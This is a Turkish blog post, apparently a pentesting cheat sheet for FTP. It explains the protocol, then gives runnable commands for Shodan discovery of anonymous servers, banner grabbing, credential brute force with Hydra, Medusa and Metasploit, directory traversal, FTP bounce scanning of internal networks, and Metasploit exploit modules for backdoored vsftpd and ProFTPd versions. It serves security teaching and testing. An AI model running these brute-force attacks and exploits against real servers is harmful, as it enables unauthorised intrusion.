Post

21 - FTP Pentesting

21 - FTP Pentesting

FTP Nedir?

FTP(File Transfer Protocol), iki sistem arasında dosya transferi yapmak için kullanılan bir protokoldür. Kullanıcının TCP/IP ağında olan herhangi bir sistem ile dosya yükleme ve indirme işlemini yapmasını sağlar. Genellikle 21 numaralı portu kullanır.

Bağlantıyı kurmak için genellikle kullanıcı adı ve parola bilgisinin girilmesi beklenir fakat anonim FTP’de bu beklenmez. Anonymous FTP, kullanıcıların username ve password bilgisine ihtiyaç duymadan dosyalara erişmesine izin veren bir FTP türüdür.

FTP Nasıl Çalışır?

FTP, control ve data kanalından oluşur. Control kanalı komutların alınıp yanıtların verildiği yerdir. Data kanalı ise, dosya transferini gerçekleştirir.

https://i.ibb.co/xMDWx1Q/image.png

Bu bağlantı active ve pasive olarak iki şekilde kurulabilir. FTP sunucusu active ya da passive veya her ikisinide destekleyebilir.

Active Mode:

Bu modda, istemci(client) random bir porttan sunucunun(server) 21 numaralı portuna bağlanır ve sunucunun istemcinin hangi portuna bağlanması gerektiğini söyler. Sonrasında sunucu 20 numaralı porttan istemcinin söylediği porta bağlanır ve bu şekilde istemci-sunucu arasında veri aktarımı gerçekleşir.

https://i.ibb.co/sKMRLzn/image.png

Passive Mode:

Bu modda, istemci(client) random bir porttan sunucunun(server) 21 numaralı portuna bağlanır ve sunucu istemcinin hangi porta bağlanması gerektiğini söyler. İstemci sunucunun belirlediği porta bağlanır ve bu şekilde istemci-sunucu arasında veri aktarımı gerçekleşir.

https://i.ibb.co/f1dDsBF/ftp2.jpg

FTP Için Bazı Araçlar

1
2
3
4
5
6
7
Linux:
ftp 10.10.11.101
ftp-ssl 10.10.11.101 // Eğer ftp ssl kullanıyorsa...

Windows:
filezilla
winscp

starttls kullanarak bağlanmak

1
2
3
4
5
6
7
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.11.101
lftp 10.10.11.101:~> login                       
Usage: login <user|URL> [<pass>]
lftp 10.10.11.101:~> login username Password

Browser ile bağlanmak

1
ftp://anonymous:anonymous@10.10.10.98

FTP sunucusundaki dosyayı locale mount etmek

1
curlftpfs ftp-user:ftp-pass@my-ftp-location.local /mnt/my_ftp/

FTP’den dosyaları indirme

1
2
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all

FTP Komutları

USER username

PASS password

HELP → Sunucu, hangi komutların desteklendiğini gösterir

PORT 127,0,0,1,0,80 → FTP sunucusunun 80 numaralı bağlantı noktasında IP 127.0.0.1 ile bağlantı kurmasını söyler.

EPRT |2|127.0.0.1|80| → FTP sunucusunun 80 numaralı bağlantı noktasındaki IP 127.0.0.1 ile bir TCP bağlantısı (“2” ile gösterilir) kurmasını belirtir. Bu komut IPv6’yı destekler.

LIST → Geçerli klasördeki dosyaların listesini gönderir

APPE → Sunucuya dosya aktarmak için kullanılır. Dosya ismi mevcutsa içerisine yazılır, mevcut değilse oluşturulur.

STOR → APPE Komutu gibi dosyaların üzerine yazar.

STOU → APPE Komutu gibi ancak mevcutsa yazmaz.

RETR → Sunucudaki bir dosyanın kopyasını indirmek için kullanılır. Sunucudaki dosya etkilenmez.

REST 6 → Sunucuya bir dahaki sefere RETR kullanarak bir şey gönderdiğinde bunun 6. baytta başlaması gerektiğini gösterecektir.

TYPE → İstemci tarafından aktarılmakta olan veri türünü sunucuya bildirmek için kullanılır. Modern Windows FTP istemcilerinin çoğu yalnızca tip A (ASCII) ve tip I (image/binary) ile ilgilenir.

PASV → Pasif bir bağlantı açacak ve kullanıcının ne zaman bağlanabileceğini gösterecektir.

PUT → Belirtilen dosyayı suncuya yükler.

FTP Protokolüne Yönelik Sızma Testi

Shodan Araması

Shodan, internetteki çeşitli cihazları arayıp bulabilmemizi sağlayan bir arama motorudur. Aşağıdaki aramada anonymous erişiminin olduğu ftp sunucuları listelenir.

https://www.shodan.io/static/img/favicon.png Shodan Arama Sorgusu
FTP+"anonymous+logged+in"

Servis Hakkında Bilgi Toplama

Banner Grabbing, açık olan portlarda çalışan hizmetler hakkında bilgi edinmek için kullanılan bir tekniktir.

1
2
3
4
5
6
7
8
-> telnet 192.168.1.11 21
-> nc -nv 192.168.1.11 21
-> ftp 192.168.1.11 21
-> nmap -p21 192.168.1.11 21 -sV --script=banner
-> openssl s_client -connect crossfit.htb:21 -starttls ftp # Varsa sertifikasını alın

# Metasploit
msfconsole -q -x "use auxiliary/scanner/ftp/ftp_version; set RHOSTS 10.10.11.101; run; exit"

https://i.ibb.co/Jck2SCc/image.png

Basit Bir Nmap Taramsı

Nmap ile açık portların tespiti ve portlar üzerinde çalışan servisler hakkında keşif yapılabilir.

https://i.ibb.co/wrHvh2D/image.png

NSE Scriptlerini Kullanmak

1
2
3
4
5
6
7
8
9
-> ls /usr/share/nmap/scripts/ftp-* | grep -o "ftp.*"                                                                                                                                      
ftp-anon.nse
ftp-bounce.nse
ftp-brute.nse
ftp-libopie.nse
ftp-proftpd-backdoor.nse
ftp-syst.nse
ftp-vsftpd-backdoor.nse
ftp-vuln-cve2010-4221.nse

https://i.ibb.co/WkNVSVC/image.png

Brute Force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Ncrack
ncrack -U userlist.txt -P passlist.txt ftp://10.10.11.101:21 -v

# Medusa
medusa -h 10.10.11.101 -U userlist.txt -P passlist.txt -M ftp

# Hydra
hydra -L userlist.txt -P passlist.txt ftp://10.10.11.101:21 -F

# Patator
patator ftp_login host=10.10.11.101 user=FILE0 password=FILE1 0=userlist.txt 1=passlist.txt -x ignore:mesg='Login incorrect.'

# Metasploit
msf6 > use auxiliary/scanner/ftp/ftp_login
set USER_FULE /root/userlist.txt
set PASS_FILE /root/passlist.txt
set RHOSTS 10.10.11.101
run

https://i.ibb.co/ZMnpWGs/image.png

FTP Anonymous Login Tespiti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Manual Test
anonymous : anonymous
anonymous :
ftp : ftp

# Nmap
nmap -sV -sC 10.10.11.101 -p 21
nmap -sV --script=ftp-anon 10.10.11.101 -p 21

# Metasploit
msf6 > use auxiliary/scanner/ftp/anonymous
set RHOSTS 10.10.11.101
set RPORT 21
run

https://i.ibb.co/fvRdd8f/image.png

Yaygın Güvenlik Açıkları

Directory Traversal

Directory traversal veya path traversal, saldırganın rastgele dosyalar okumasına izin veren bir güvenlik açığıdır.

../ ve çeşitli varyasyonları kullanılarak, uygulama koduna ve verilerine, arka uç sistemler için kimlik bilgilerine ve hassas işletim sistemi dosyalarına erişmek mümkündür.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# ftp 10.150.150.212 21                                                                                                                                                                    
Connected to 10.150.150.212.                                                                                                                                                                 
220-Wellcome to Home Ftp Server!                                                                                                                                                             
220 Server ready.
Name (10.150.150.212:root): anonymous
331 Password required for anonymous.
Password: 
230 User Anonymous logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /
ftp> ls
227 Entering Passive Mode (10,150,150,212,192,46).
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Mar 26  2019 .
drw-rw-rw-   1 ftp      ftp            0 Mar 26  2019 ..
drw-rw-rw-   1 ftp      ftp            0 Mar 13  2019 FLAG
-rw-rw-rw-   1 ftp      ftp        34419 Mar 26  2019 xampp-control.log
-rw-rw-rw-   1 ftp      ftp          881 Nov 13  2018 zen.txt
226 File sent ok
ftp> ls ../
227 Entering Passive Mode (10,150,150,212,192,47).
150 Opening data connection for directory list.
-rw-rw-rw-   1 ftp      ftp        17734 Nov 07  2007 boot.ini
-rw-rw-rw-   1 ftp      ftp        17734 Nov 07  2007 eula.1031.txt
-rw-rw-rw-   1 ftp      ftp        10134 Nov 07  2007 eula.1033.txt
-rw-rw-rw-   1 ftp      ftp        17734 Nov 07  2007 eula.1036.txt
-rw-rw-rw-   1 ftp      ftp        17734 Nov 07  2007 eula.1040.txt
-rw-rw-rw-   1 ftp      ftp          118 Nov 07  2007 eula.1041.txt
-rw-rw-rw-   1 ftp      ftp        17734 Nov 07  2007 eula.1042.txt
-rw-rw-rw-   1 ftp      ftp        17734 Nov 07  2007 eula.2052.txt
-rw-rw-rw-   1 ftp      ftp        17734 Nov 07  2007 eula.3082.txt
drw-rw-rw-   1 ftp      ftp            0 Mar 26  2019 FTP
-rw-rw-rw-   1 ftp      ftp         1110 Nov 07  2007 globdata.ini
-rwxrwxrwx   1 ftp      ftp       562688 Nov 07  2007 install.exe
-rw-rw-rw-   1 ftp      ftp          843 Nov 07  2007 install.ini
-rw-rw-rw-   1 ftp      ftp        76304 Nov 07  2007 install.res.1028.dll
-rw-rw-rw-   1 ftp      ftp        96272 Nov 07  2007 install.res.1031.dll
-rw-rw-rw-   1 ftp      ftp        91152 Nov 07  2007 install.res.1033.dll
-rw-rw-rw-   1 ftp      ftp        97296 Nov 07  2007 install.res.1036.dll
-rw-rw-rw-   1 ftp      ftp        95248 Nov 07  2007 install.res.1040.dll
-rw-rw-rw-   1 ftp      ftp        81424 Nov 07  2007 install.res.1041.dll
-rw-rw-rw-   1 ftp      ftp        79888 Nov 07  2007 install.res.1042.dll
-rw-rw-rw-   1 ftp      ftp        75792 Nov 07  2007 install.res.2052.dll
-rw-rw-rw-   1 ftp      ftp        96272 Nov 07  2007 install.res.3082.dll
drw-rw-rw-   1 ftp      ftp            0 Oct 29  2019 New folder
drw-rw-rw-   1 ftp      ftp            0 Jul 14  2009 PerfLogs
dr--r--r--   1 ftp      ftp            0 Apr 02  2020 Program Files
dr--r--r--   1 ftp      ftp            0 Feb 28  2019 Program Files (x86)
drw-rw-rw-   1 ftp      ftp            0 Oct 29  2019 temp
dr--r--r--   1 ftp      ftp            0 Nov 13  2018 Users
-rw-rw-rw-   1 ftp      ftp         5686 Nov 07  2007 vcredist.bmp
-rw-rw-rw-   1 ftp      ftp      1442522 Nov 07  2007 VC_RED.cab
-rw-rw-rw-   1 ftp      ftp       232960 Nov 07  2007 VC_RED.MSI
drw-rw-rw-   1 ftp      ftp            0 Jun 18  2020 Windows
drw-rw-rw-   1 ftp      ftp            0 Mar 13  2019 xampp
226 File sent ok
ftp>

FTP Bounce

FTP Bounce saldırganın önce FTP sunucusuna bağlandığı ve ardından diğer sunuculara bağlanmak için PORT komutunu kullandığı bir istismar türüdür. Client’ın hem control hem de data bağlantılarını başlattığı pasif mod FTP’den yararlanır.

https://i.ibb.co/XDXyGM1/image.png

FTP Bounce Zafiyetinin Manual Tespit Edilmesi:

1
2
3
4
5
6
7
8
9
10
11
12
13
USER A
331 Username okay, awaiting password
PASS B
230 User logged in, proceed
PORT 172,32,80,80,0,8080
200 The requested action has been successfully completed
LIST
150 File status okay; about to open data connection // 8080 portunun açık olduğu anlamına gelir.
226 Closing data connection
PORT 172,32,80,80,0,7777
200 The requested action has been successfully completed
LIST
425 No connection established // 7777 portunun kapalı veya filtreli olduğu anlamına gelir.

FTP Bounce İçin Nmap ve Metasploit Kullanımı:

1
2
3
nmap -sV --script=ftp-bounce -p 21 10.10.11.101
nmap -Pn -sV -p 21 -b <vulnip> <targetip>
msf6 > use auxiliary/scanner/portscan/ftpbounce

Nmap kullanılarak farklı bir adrese veya zafiyetlinin bulunduğu ağda yerel tarama yapılabilir.

1
2
3
nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Sunucunun yerel 21,80 portuna tarama yapar
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Zafiyetlinin iç networkünde keşif yapar.

https://i.ibb.co/6Y2WTCZ/image.png

Dışarıya kapalı port varsa veya porta ulaşmamızı engelleyen bir güvenlik duvarı varsa bu şekilde atlatılabilir.

https://i.ibb.co/fCJtJZj/image.png

Belirli Zafiyetler İçin Kullanılan Exploits, PoCs ve Scriptler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# ProFTPd-1.3.3c - Backdoor Command Execution [OSVDB-69562]
nmap -p 21 --script=ftp-proftpd-backdoor 10.10.11.101

# ProFTPd 1.3.2rc3/1.3.3b - Execute Arbitrary Code - [CVE-2010-4221]
nmap -p 21 --script=ftp-vuln-cve2010-4221 10.10.11.101

# vsftpd 2.3.4 - Backdoor Command Execution - [CVE-2011-2523]
nmap -p 21--script=ftp-vsftpd-backdoor 10.10.11.101

# BisonFTP 3.5 - Path Traversal - [CVE-2015-7602]
msf6 > use auxiliary/scanner/ftp/bison_ftp_traversal

# Titan FTP XCRC - Path Traversal - [CVE-2010-2426]
msf6 > use auxiliary/scanner/ftp/titanftp_xcrc_traversal

# PCMan FTP Server 2.0.7 - Path Traversal - [2015-7601]
msf6 > use auxiliary/scanner/ftp/pcman_ftp_traversal

# Easy File Sharing FTP Server <= 3.6 – Path Traversal - [CVE-2017-6510]
msf > use auxiliary/scanner/ftp/easy_file_sharing_ftp

# Konica Minolta FTP Utility 1.0 - Path Traversal - [CVE-2015-7603]
msf6 > use auxiliary/scanner/ftp/konica_ftp_traversal

# Konica Minolta FTP Utility 1.0 - CWD Command Overflow - [CVE-2015-7768]
msf6 > use exploit/windows/ftp/kmftp_utility_cwd

# vsftpd 2.3.4 - Backdoor Command Execution - [CVE-2011-2523]
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# ProFTPd-1.3.3c - Backdoor Command Execution [OSVDB-69562]
msf6 > use exploit/unix/ftp/proftpd_133c_backdoor

# ProFTPd 1.3.2rc3/1.3.3b - Execute Arbitrary Code - [CVE-2010-4221]
msf6 > use exploit/linux/ftp/proftp_telnet_iac

# ProFTPd 1.3.5 - (mod_copy) RCE - [CVE-2015-3306]
msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
This post is licensed under CC BY 4.0 by the author.